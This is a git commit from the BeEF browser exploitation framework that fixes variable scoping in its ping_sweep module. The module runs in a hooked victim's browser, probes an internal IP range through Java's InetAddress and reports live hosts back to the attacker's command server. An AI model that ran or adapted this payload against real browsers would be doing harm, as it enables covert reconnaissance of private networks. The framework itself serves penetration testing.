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(Fixes issue 513): Fixed an issue found with concurrent instances of this module

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git-svn-id: https://beef.googlecode.com/svn/trunk@1378 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
jgaliana
2011-10-23 08:44:28 +00:00
parent f902e16eba
commit cb4df367af
1 changed files with 26 additions and 28 deletions
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54
modules/network/ping_sweep/command.js
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@@ -17,63 +17,61 @@
beef.execute(function() {
var ips = new Array();
ipRange = "<%= @ipRange %>";
timeout = "<%= @timeout %>";
delay = parseInt(timeout) + parseInt("<%= @delay %>");
var ipRange = "<%= @ipRange %>";
var timeout = "<%= @timeout %>";
var delay = parseInt(timeout) + parseInt("<%= @delay %>");
var verbose=false; /* enable for debug */
// ipRange will be in the form of 192.168.0.1-192.168.0.254: the fourth octet will be iterated.
// Note: if ipRange is just an IP address like 192.168.0.1, the ips array will contain only one element: ipBounds[0]
// (only C class IPs are supported atm). Same code as internal_network_fingerprinting module
ipBounds = ipRange.split('-');
var ipBounds = ipRange.split('-');
var ipToTest;
if(ipBounds.length>1) {
lowerBound = ipBounds[0].split('.')[3];
upperBound = ipBounds[1].split('.')[3];
var lowerBound = parseInt(ipBounds[0].split('.')[3]);
var upperBound = parseInt(ipBounds[1].split('.')[3]);
for(i=lowerBound;i<=upperBound;i++){
ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i
ips.push(ipToTest);
ips.push(ipToTest);
}
} else {
ipToTest = ipBounds[0]
ips.push(ipToTest);
ipToTest = ipBounds[0]
ips.push(ipToTest);
}
if(ips.length==1) verbose=true;
else verbose=false; /* enable for debug */
function do_scan(host, timeout) {
var status=false;
var ping="";
var status=false;
ping="";
try {
status = java.net.InetAddress.getByName(host).isReachable(timeout);
} catch(e) { /*handle exception...? */ }
try {
status = java.net.InetAddress.getByName(host).isReachable(timeout);
} catch(e) { /*handle exception...? */ }
if (status) {
ping = host + " is alive!";
} else {
if(verbose) {
ping = host + " is not alive";
if (status) {
ping = host + " is alive!";
} else if(verbose) {
ping = host + " is not alive";
}
}
return ping;
return ping;
}
// call do_scan for each ip
// use of setInterval trick to avoid slow script warnings
i=0;
var i=0;
if(ips.length>1) {
int_id = setInterval( function() {
host = do_scan(ips[i++],timeout);
var int_id = setInterval( function() {
var host = do_scan(ips[i++],timeout);
if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host);
if(i==ips.length) { clearInterval(int_id); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host=Ping sweep finished'); }
}, delay);
} else {
host = do_scan(ips[i],timeout);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host);
var host = do_scan(ips[i],timeout);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host);
}
});